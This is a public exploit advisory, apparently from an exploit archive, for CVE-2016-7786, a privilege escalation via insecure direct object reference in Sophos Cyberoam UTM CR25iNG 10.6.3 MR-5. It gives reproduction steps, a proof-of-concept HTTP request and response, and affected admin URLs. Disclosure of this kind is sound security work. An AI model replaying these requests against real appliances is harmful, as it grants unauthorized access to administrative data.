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Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5 Insecure Direct Object Reference Vulnerability
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# Exploit Title: Sophos Cyberoam UTM - Privilege Escalation # Date: 31/08/2016 # Exploit Author: Chintan Gurjar (Frogy) # Vendor Homepage: http://www.sophos.com/ # Software Link: https://www.cyberoam.com/downloads/datasheet/CR25iNG.html # Version: Cyberoam CR25iNG - 10.6.3 MR-5 # CVE : CVE-2016-7786 # Category : Webapps # CVSS Score: 9.3 Description =========== A vulnerability, which was classified as critical, has been found in Sophos Cyberoam UTM CR25iNG 10.6.3 MR-5. This issue affects an unknown function of the file Licenseinformation.jsp of the component Access Restriction. The manipulation with an unknown input leads to a privilege escalation vulnerability. Using CWE to declare the problem leads to CWE-264. Impacted are confidentiality, integrity, and availability. The weakness was released 04/07/2017. The advisory is shared for download at infosecninja.blogspot.in. The identification of this vulnerability is CVE-2016-7786 since 09/09/2016. The attack may be initiated remotely. The successful exploitation needs a single authentication. Technical details of the vulnerability are known. Upgrading to version 10.6.5 eliminates this vulnerability. Steps to reproduce =================== 1. Login with admin user account. 2. Navigate to the dashboard and observe all GET URLs through burp proxy. Save URLs. 3. Logout and login with a low privileged user account who does not have even read/write/execution permission. 4. Access saved admin functionality URLs with a low privileged user account. 5. Access the admin information from the user account. Video Demonstration ==================== https://www.youtube.com/watch?v=unV3-DdIxXw&t=2s PoC =============== Request: GET /corporate/webpages/dashboard/LicenseInformation.jsp HTTP/1.1 Host: 192.168.1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/plain, */*; q=0.01 Accept-Language: en-US,en;1=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Referer: http://192.168.1.1/corporate/webpages/index.php Cookie: JSESSIONID=120g9lzj467ivba7uvbf9ej73 Connection: close Response: HTTP/1.1 200 OK Date: Wed, 31 Aug 2016 06:59:56 GMT X-Frame-Options: SAMEORIGIN Content-Type: text/html;charset=UTF-8 Cache-Control: max-age=2592000 Expires: Fri, 30 Sep 2016 06:59:56 GMT Vary: Accept-Encoding Content-Length: 1828 Connection: Close ... <table width="100%" cellpading="1" cellspacing="1"> <tr> <td class="tableheader_gadget" align="center"><label id='Language.Time'></label></td> <td class="tableheader_gadget" align="center"><label id='Language.User'></label></td> ... Affected URLs =============== http://192.168.1.1/corporate/webpages/dashboard/ApplianceInformation.jsp http://192.168.1.1/corporate/webpages/dashboard/IPSRecentAlerts.jsp http://192.168.1.1/corporate/webpages/dashboard/HTTPVirusDetected.jsp ...Many others... References =============== https://infosecninja.blogspot.co.nz/2017/04/cve-2016-7786-sophos-cyberoam-utm.html https://vuldb.com/?id.99371 https://www.cvedetails.com/cve/CVE-2016-7786/ https://nvd.nist.gov/vuln/detail/CVE-2016-7786 # 0day.today [2024-09-19] #